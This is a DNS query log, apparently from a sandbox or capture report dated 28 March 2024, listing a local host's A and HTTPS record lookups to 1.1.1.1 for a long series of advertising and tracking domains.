Mar 28, 2024 09:51:31.180757046 CET	192.168.2.4	1.1.1.1	0x82c1	Standard query (0)	idsync.rlcdn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.185101986 CET	192.168.2.4	1.1.1.1	0xf0a2	Standard query (0)	idsync.rlcdn.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.187131882 CET	192.168.2.4	1.1.1.1	0x125d	Standard query (0)	gum.criteo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.187691927 CET	192.168.2.4	1.1.1.1	0x73d1	Standard query (0)	gum.criteo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.189660072 CET	192.168.2.4	1.1.1.1	0xc7d8	Standard query (0)	assets.a-mo.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.191045046 CET	192.168.2.4	1.1.1.1	0x44db	Standard query (0)	assets.a-mo.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.191976070 CET	192.168.2.4	1.1.1.1	0x6abd	Standard query (0)	static.smilewanted.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.192536116 CET	192.168.2.4	1.1.1.1	0xaabd	Standard query (0)	static.smilewanted.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.193363905 CET	192.168.2.4	1.1.1.1	0x278	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.193710089 CET	192.168.2.4	1.1.1.1	0x3177	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.194123030 CET	192.168.2.4	1.1.1.1	0x57a3	Standard query (0)	oajs.openx.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.194811106 CET	192.168.2.4	1.1.1.1	0x6989	Standard query (0)	oajs.openx.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.204879045 CET	192.168.2.4	1.1.1.1	0x551a	Standard query (0)	dpm.demdex.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.207139969 CET	192.168.2.4	1.1.1.1	0x671	Standard query (0)	dpm.demdex.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.215189934 CET	192.168.2.4	1.1.1.1	0x58f5	Standard query (0)	bh.contextweb.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.221472979 CET	192.168.2.4	1.1.1.1	0x2f70	Standard query (0)	bh.contextweb.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.228040934 CET	192.168.2.4	1.1.1.1	0xaffd	Standard query (0)	cs.krushmedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.234272957 CET	192.168.2.4	1.1.1.1	0x4a7c	Standard query (0)	cs.krushmedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.252691984 CET	192.168.2.4	1.1.1.1	0xe374	Standard query (0)	pixel-us-east.rubiconproject.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.253149033 CET	192.168.2.4	1.1.1.1	0x834e	Standard query (0)	pixel-us-east.rubiconproject.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.254888058 CET	192.168.2.4	1.1.1.1	0x3bc2	Standard query (0)	data.adsrvr.org	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.255506992 CET	192.168.2.4	1.1.1.1	0xd800	Standard query (0)	data.adsrvr.org	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.261868954 CET	192.168.2.4	1.1.1.1	0xd16f	Standard query (0)	sync.1rx.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.358133078 CET	192.168.2.4	1.1.1.1	0x4171	Standard query (0)	sync.1rx.io	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.506097078 CET	192.168.2.4	1.1.1.1	0x552f	Standard query (0)	dsp.adfarm1.adition.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.507515907 CET	192.168.2.4	1.1.1.1	0x3317	Standard query (0)	dsp.adfarm1.adition.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:31.963171005 CET	192.168.2.4	1.1.1.1	0x55fa	Standard query (0)	ssbsync-global.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:31.963721991 CET	192.168.2.4	1.1.1.1	0xfe76	Standard query (0)	ssbsync-global.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:32.660692930 CET	192.168.2.4	1.1.1.1	0x6440	Standard query (0)	mwzeom.zeotap.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.662415028 CET	192.168.2.4	1.1.1.1	0xf973	Standard query (0)	mwzeom.zeotap.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:32.666054010 CET	192.168.2.4	1.1.1.1	0xb47c	Standard query (0)	sync.richaudience.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.666641951 CET	192.168.2.4	1.1.1.1	0xe0bf	Standard query (0)	sync.richaudience.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:32.690359116 CET	192.168.2.4	1.1.1.1	0x9663	Standard query (0)	partners.tremorhub.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.690531969 CET	192.168.2.4	1.1.1.1	0x7b5f	Standard query (0)	partners.tremorhub.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:32.708089113 CET	192.168.2.4	1.1.1.1	0xa3fe	Standard query (0)	live.rezync.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.708478928 CET	192.168.2.4	1.1.1.1	0xde66	Standard query (0)	live.rezync.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:32.710731030 CET	192.168.2.4	1.1.1.1	0xffa2	Standard query (0)	sync.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.711240053 CET	192.168.2.4	1.1.1.1	0xc14f	Standard query (0)	sync.crwdcntrl.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:32.723905087 CET	192.168.2.4	1.1.1.1	0x3e2f	Standard query (0)	cm.ctnsnet.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.724066019 CET	192.168.2.4	1.1.1.1	0x25	Standard query (0)	cm.ctnsnet.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:32.781461954 CET	192.168.2.4	1.1.1.1	0x73d3	Standard query (0)	s.company-target.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.781707048 CET	192.168.2.4	1.1.1.1	0x1b8b	Standard query (0)	s.company-target.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:32.782426119 CET	192.168.2.4	1.1.1.1	0xbb0e	Standard query (0)	token.rubiconproject.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.782630920 CET	192.168.2.4	1.1.1.1	0x6da3	Standard query (0)	token.rubiconproject.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:32.786111116 CET	192.168.2.4	1.1.1.1	0xa284	Standard query (0)	us01.z.antigena.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.786437988 CET	192.168.2.4	1.1.1.1	0x29d4	Standard query (0)	us01.z.antigena.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:32.786982059 CET	192.168.2.4	1.1.1.1	0x325f	Standard query (0)	eb2.3lift.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.787246943 CET	192.168.2.4	1.1.1.1	0x5ef6	Standard query (0)	eb2.3lift.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:32.790322065 CET	192.168.2.4	1.1.1.1	0xed26	Standard query (0)	de.tynt.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:32.790501118 CET	192.168.2.4	1.1.1.1	0x8dcb	Standard query (0)	de.tynt.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:33.383712053 CET	192.168.2.4	1.1.1.1	0x8d2a	Standard query (0)	ups.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:33.383963108 CET	192.168.2.4	1.1.1.1	0x3fc	Standard query (0)	ups.analytics.yahoo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:34.000063896 CET	192.168.2.4	1.1.1.1	0x833e	Standard query (0)	b1sync.zemanta.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:34.000226974 CET	192.168.2.4	1.1.1.1	0x577	Standard query (0)	b1sync.zemanta.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:34.002315998 CET	192.168.2.4	1.1.1.1	0x24f1	Standard query (0)	ad.turn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:34.002682924 CET	192.168.2.4	1.1.1.1	0xdec3	Standard query (0)	ad.turn.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:35.836280107 CET	192.168.2.4	1.1.1.1	0xe5f7	Standard query (0)	google-bidout-d.openx.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:35.836441994 CET	192.168.2.4	1.1.1.1	0xb52b	Standard query (0)	google-bidout-d.openx.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:35.843364954 CET	192.168.2.4	1.1.1.1	0xb325	Standard query (0)	1f2e7.v.fwmrm.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:35.843611956 CET	192.168.2.4	1.1.1.1	0xdfe9	Standard query (0)	1f2e7.v.fwmrm.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:35.904186010 CET	192.168.2.4	1.1.1.1	0x44fb	Standard query (0)	cdn.indexww.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:35.905147076 CET	192.168.2.4	1.1.1.1	0x97d	Standard query (0)	cdn.indexww.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:35.996577978 CET	192.168.2.4	1.1.1.1	0xfcb	Standard query (0)	id.rlcdn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:35.996758938 CET	192.168.2.4	1.1.1.1	0x3ddf	Standard query (0)	id.rlcdn.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.070729971 CET	192.168.2.4	1.1.1.1	0xf743	Standard query (0)	cdn.bidbrain.app	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.070935965 CET	192.168.2.4	1.1.1.1	0xcc8a	Standard query (0)	cdn.bidbrain.app	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.101089001 CET	192.168.2.4	1.1.1.1	0x7a9c	Standard query (0)	simage2.pubmatic.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.101239920 CET	192.168.2.4	1.1.1.1	0xa92b	Standard query (0)	simage2.pubmatic.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.158600092 CET	192.168.2.4	1.1.1.1	0x72b1	Standard query (0)	prebid-match.dotomi.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.158837080 CET	192.168.2.4	1.1.1.1	0xf9e9	Standard query (0)	prebid-match.dotomi.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.306896925 CET	192.168.2.4	1.1.1.1	0xdb76	Standard query (0)	idsync.frontend.weborama.fr	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.307739019 CET	192.168.2.4	1.1.1.1	0x1100	Standard query (0)	idsync.frontend.weborama.fr	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.353389978 CET	192.168.2.4	1.1.1.1	0x2b4f	Standard query (0)	sync.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.353553057 CET	192.168.2.4	1.1.1.1	0xf7ca	Standard query (0)	sync.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.397341967 CET	192.168.2.4	1.1.1.1	0xaf05	Standard query (0)	bcp.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.397674084 CET	192.168.2.4	1.1.1.1	0xeab3	Standard query (0)	bcp.crwdcntrl.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.489041090 CET	192.168.2.4	1.1.1.1	0x1fc3	Standard query (0)	hde.tynt.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.489234924 CET	192.168.2.4	1.1.1.1	0xa618	Standard query (0)	hde.tynt.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.503351927 CET	192.168.2.4	1.1.1.1	0x3373	Standard query (0)	cms.analytics.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.503547907 CET	192.168.2.4	1.1.1.1	0x672e	Standard query (0)	cms.analytics.yahoo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.549916029 CET	192.168.2.4	1.1.1.1	0xdb63	Standard query (0)	idpix.media6degrees.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.550060987 CET	192.168.2.4	1.1.1.1	0x7504	Standard query (0)	idpix.media6degrees.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.551094055 CET	192.168.2.4	1.1.1.1	0x32ee	Standard query (0)	sync.srv.stackadapt.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.551261902 CET	192.168.2.4	1.1.1.1	0x33b0	Standard query (0)	sync.srv.stackadapt.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.552027941 CET	192.168.2.4	1.1.1.1	0xf3f3	Standard query (0)	aorta.clickagy.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.552167892 CET	192.168.2.4	1.1.1.1	0xd418	Standard query (0)	aorta.clickagy.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.553344011 CET	192.168.2.4	1.1.1.1	0xf537	Standard query (0)	rtb.openx.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.553529024 CET	192.168.2.4	1.1.1.1	0x4dbf	Standard query (0)	rtb.openx.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.568965912 CET	192.168.2.4	1.1.1.1	0x7dd2	Standard query (0)	sync.ipredictive.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.569142103 CET	192.168.2.4	1.1.1.1	0x80c0	Standard query (0)	sync.ipredictive.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:36.572115898 CET	192.168.2.4	1.1.1.1	0x3be5	Standard query (0)	p.rfihub.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:36.572257042 CET	192.168.2.4	1.1.1.1	0xd52a	Standard query (0)	p.rfihub.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.022850037 CET	192.168.2.4	1.1.1.1	0x422b	Standard query (0)	pippio.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.023097992 CET	192.168.2.4	1.1.1.1	0x2c7f	Standard query (0)	pippio.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.024044991 CET	192.168.2.4	1.1.1.1	0x6613	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.024229050 CET	192.168.2.4	1.1.1.1	0xf65f	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.364404917 CET	192.168.2.4	1.1.1.1	0xfd43	Standard query (0)	ssbsync.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.364707947 CET	192.168.2.4	1.1.1.1	0x2527	Standard query (0)	ssbsync.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.719502926 CET	192.168.2.4	1.1.1.1	0x37e2	Standard query (0)	g.bidbrain.app	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.719681978 CET	192.168.2.4	1.1.1.1	0xfed3	Standard query (0)	g.bidbrain.app	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.746294975 CET	192.168.2.4	1.1.1.1	0xd8b5	Standard query (0)	www8.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.746473074 CET	192.168.2.4	1.1.1.1	0x3c24	Standard query (0)	www8.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.825587988 CET	192.168.2.4	1.1.1.1	0x128	Standard query (0)	r.casalemedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.825807095 CET	192.168.2.4	1.1.1.1	0x4b20	Standard query (0)	r.casalemedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.870306969 CET	192.168.2.4	1.1.1.1	0x14e8	Standard query (0)	px.ads.linkedin.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.870568991 CET	192.168.2.4	1.1.1.1	0x6707	Standard query (0)	px.ads.linkedin.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.871670008 CET	192.168.2.4	1.1.1.1	0x2698	Standard query (0)	aep.mxptint.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.872111082 CET	192.168.2.4	1.1.1.1	0x421e	Standard query (0)	aep.mxptint.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.872591019 CET	192.168.2.4	1.1.1.1	0xc549	Standard query (0)	tr.blismedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.872999907 CET	192.168.2.4	1.1.1.1	0xabfc	Standard query (0)	tr.blismedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.874118090 CET	192.168.2.4	1.1.1.1	0x454e	Standard query (0)	cs.chocolateplatform.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.874566078 CET	192.168.2.4	1.1.1.1	0x89aa	Standard query (0)	cs.chocolateplatform.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.875053883 CET	192.168.2.4	1.1.1.1	0xb609	Standard query (0)	beacon.lynx.cognitivlabs.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.875384092 CET	192.168.2.4	1.1.1.1	0x58df	Standard query (0)	beacon.lynx.cognitivlabs.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.882098913 CET	192.168.2.4	1.1.1.1	0x3863	Standard query (0)	s.uuidksinc.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.882543087 CET	192.168.2.4	1.1.1.1	0x1658	Standard query (0)	s.uuidksinc.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.883421898 CET	192.168.2.4	1.1.1.1	0x6df9	Standard query (0)	google.partners.tremorhub.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.883574963 CET	192.168.2.4	1.1.1.1	0x1568	Standard query (0)	google.partners.tremorhub.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:37.898617983 CET	192.168.2.4	1.1.1.1	0x2312	Standard query (0)	cc.adingo.jp	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:37.899034023 CET	192.168.2.4	1.1.1.1	0xb0f2	Standard query (0)	cc.adingo.jp	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.014595032 CET	192.168.2.4	1.1.1.1	0xc147	Standard query (0)	pghub.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.014735937 CET	192.168.2.4	1.1.1.1	0xa603	Standard query (0)	pghub.io	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.016515970 CET	192.168.2.4	1.1.1.1	0x98aa	Standard query (0)	pubmatic-match.dotomi.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.023045063 CET	192.168.2.4	1.1.1.1	0xd48a	Standard query (0)	pubmatic-match.dotomi.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.036197901 CET	192.168.2.4	1.1.1.1	0x2a3c	Standard query (0)	a.sportradarserving.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.036504984 CET	192.168.2.4	1.1.1.1	0x22d5	Standard query (0)	a.sportradarserving.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.064470053 CET	192.168.2.4	1.1.1.1	0x4bbb	Standard query (0)	ads.stickyadstv.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.064631939 CET	192.168.2.4	1.1.1.1	0xe7c8	Standard query (0)	ads.stickyadstv.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.164180040 CET	192.168.2.4	1.1.1.1	0x3e73	Standard query (0)	a.teads.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.164334059 CET	192.168.2.4	1.1.1.1	0x697b	Standard query (0)	a.teads.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.176043034 CET	192.168.2.4	1.1.1.1	0xd1cd	Standard query (0)	lb.eu-1-id5-sync.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.176198006 CET	192.168.2.4	1.1.1.1	0x6a27	Standard query (0)	lb.eu-1-id5-sync.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.178548098 CET	192.168.2.4	1.1.1.1	0xc656	Standard query (0)	cm.g.doubleclick.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.178724051 CET	192.168.2.4	1.1.1.1	0x27e2	Standard query (0)	cm.g.doubleclick.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.192470074 CET	192.168.2.4	1.1.1.1	0xfc5e	Standard query (0)	pr-bh.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.192635059 CET	192.168.2.4	1.1.1.1	0xd38c	Standard query (0)	pr-bh.ybp.yahoo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.195681095 CET	192.168.2.4	1.1.1.1	0xdf9a	Standard query (0)	tracker.neodatagroup.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.195844889 CET	192.168.2.4	1.1.1.1	0x9cf2	Standard query (0)	tracker.neodatagroup.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.208492994 CET	192.168.2.4	1.1.1.1	0x2fdf	Standard query (0)	us-u.openx.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.208710909 CET	192.168.2.4	1.1.1.1	0xcbf7	Standard query (0)	us-u.openx.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.211853027 CET	192.168.2.4	1.1.1.1	0xe027	Standard query (0)	pixel.mathtag.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.212136984 CET	192.168.2.4	1.1.1.1	0x4377	Standard query (0)	pixel.mathtag.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.218231916 CET	192.168.2.4	1.1.1.1	0x4b62	Standard query (0)	trc.taboola.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.218400002 CET	192.168.2.4	1.1.1.1	0x9057	Standard query (0)	trc.taboola.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.220982075 CET	192.168.2.4	1.1.1.1	0x16bb	Standard query (0)	dmp.v.fwmrm.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.221256018 CET	192.168.2.4	1.1.1.1	0x1739	Standard query (0)	dmp.v.fwmrm.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.222672939 CET	192.168.2.4	1.1.1.1	0xb053	Standard query (0)	pixel.rubiconproject.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.222908974 CET	192.168.2.4	1.1.1.1	0x3992	Standard query (0)	pixel.rubiconproject.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.224241972 CET	192.168.2.4	1.1.1.1	0x453a	Standard query (0)	esp.rtbhouse.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.224421978 CET	192.168.2.4	1.1.1.1	0xa1e6	Standard query (0)	esp.rtbhouse.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.226301908 CET	192.168.2.4	1.1.1.1	0xe760	Standard query (0)	bcp.crwdcntrl.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.226458073 CET	192.168.2.4	1.1.1.1	0x20c8	Standard query (0)	bcp.crwdcntrl.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:38.521083117 CET	192.168.2.4	1.1.1.1	0xaf5f	Standard query (0)	sync.technoratimedia.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:38.521235943 CET	192.168.2.4	1.1.1.1	0xb75e	Standard query (0)	sync.technoratimedia.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:40.408205986 CET	192.168.2.4	1.1.1.1	0xdd69	Standard query (0)	aax-eu.amazon-adsystem.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:40.413664103 CET	192.168.2.4	1.1.1.1	0x1607	Standard query (0)	aax-eu.amazon-adsystem.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.177675009 CET	192.168.2.4	1.1.1.1	0x95d7	Standard query (0)	widget-pixels.outbrain.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.177675009 CET	192.168.2.4	1.1.1.1	0x69c6	Standard query (0)	widget-pixels.outbrain.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.178617954 CET	192.168.2.4	1.1.1.1	0x6154	Standard query (0)	sync.srv.stackadapt.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.179126978 CET	192.168.2.4	1.1.1.1	0x21de	Standard query (0)	sync.srv.stackadapt.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.179820061 CET	192.168.2.4	1.1.1.1	0x4e44	Standard query (0)	c1.adform.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.179820061 CET	192.168.2.4	1.1.1.1	0x4898	Standard query (0)	c1.adform.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.180543900 CET	192.168.2.4	1.1.1.1	0xce2b	Standard query (0)	rtb-csync.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.181019068 CET	192.168.2.4	1.1.1.1	0x8b90	Standard query (0)	rtb-csync.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.187197924 CET	192.168.2.4	1.1.1.1	0x564e	Standard query (0)	bttrack.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.187197924 CET	192.168.2.4	1.1.1.1	0xcb38	Standard query (0)	bttrack.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.190026045 CET	192.168.2.4	1.1.1.1	0xbee0	Standard query (0)	cms.quantserve.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.190026045 CET	192.168.2.4	1.1.1.1	0xc61c	Standard query (0)	cms.quantserve.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.190807104 CET	192.168.2.4	1.1.1.1	0x9c0c	Standard query (0)	pm.w55c.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.191529989 CET	192.168.2.4	1.1.1.1	0xa426	Standard query (0)	pm.w55c.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.191849947 CET	192.168.2.4	1.1.1.1	0xab0f	Standard query (0)	ssbsync.smartadserver.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.192656994 CET	192.168.2.4	1.1.1.1	0xabd1	Standard query (0)	sync-tm.everesttech.net	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.192656994 CET	192.168.2.4	1.1.1.1	0x5258	Standard query (0)	ssbsync.smartadserver.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.192977905 CET	192.168.2.4	1.1.1.1	0x1eb5	Standard query (0)	sync-tm.everesttech.net	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.194122076 CET	192.168.2.4	1.1.1.1	0xf25e	Standard query (0)	mv.outbrain.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.194545984 CET	192.168.2.4	1.1.1.1	0xc627	Standard query (0)	mv.outbrain.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.611397982 CET	192.168.2.4	1.1.1.1	0x5477	Standard query (0)	pr-bh.ybp.yahoo.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.611550093 CET	192.168.2.4	1.1.1.1	0x7549	Standard query (0)	pr-bh.ybp.yahoo.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.612114906 CET	192.168.2.4	1.1.1.1	0xe60f	Standard query (0)	s.seedtag.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.612286091 CET	192.168.2.4	1.1.1.1	0x9d7f	Standard query (0)	s.seedtag.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.704061985 CET	192.168.2.4	1.1.1.1	0x1131	Standard query (0)	r.turn.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.704061985 CET	192.168.2.4	1.1.1.1	0xa456	Standard query (0)	r.turn.com	65	IN (0x0001)	false
Mar 28, 2024 09:51:41.936753035 CET	192.168.2.4	1.1.1.1	0x2522	Standard query (0)	t.teads.tv	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:41.936753035 CET	192.168.2.4	1.1.1.1	0xad45	Standard query (0)	t.teads.tv	65	IN (0x0001)	false
Mar 28, 2024 09:51:43.898163080 CET	192.168.2.4	1.1.1.1	0xe11	Standard query (0)	feed.pghub.io	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:43.898452044 CET	192.168.2.4	1.1.1.1	0xb527	Standard query (0)	feed.pghub.io	65	IN (0x0001)	false
Mar 28, 2024 09:51:43.900679111 CET	192.168.2.4	1.1.1.1	0xdeaf	Standard query (0)	bsnews.onesignal.com	A (IP address)	IN (0x0001)	false
Mar 28, 2024 09:51:43.900994062 CET	192.168.2.4	1.1.1.1	0x34d4	Standard query (0)	bsnews.onesignal.com	65	IN (0x0001)	false
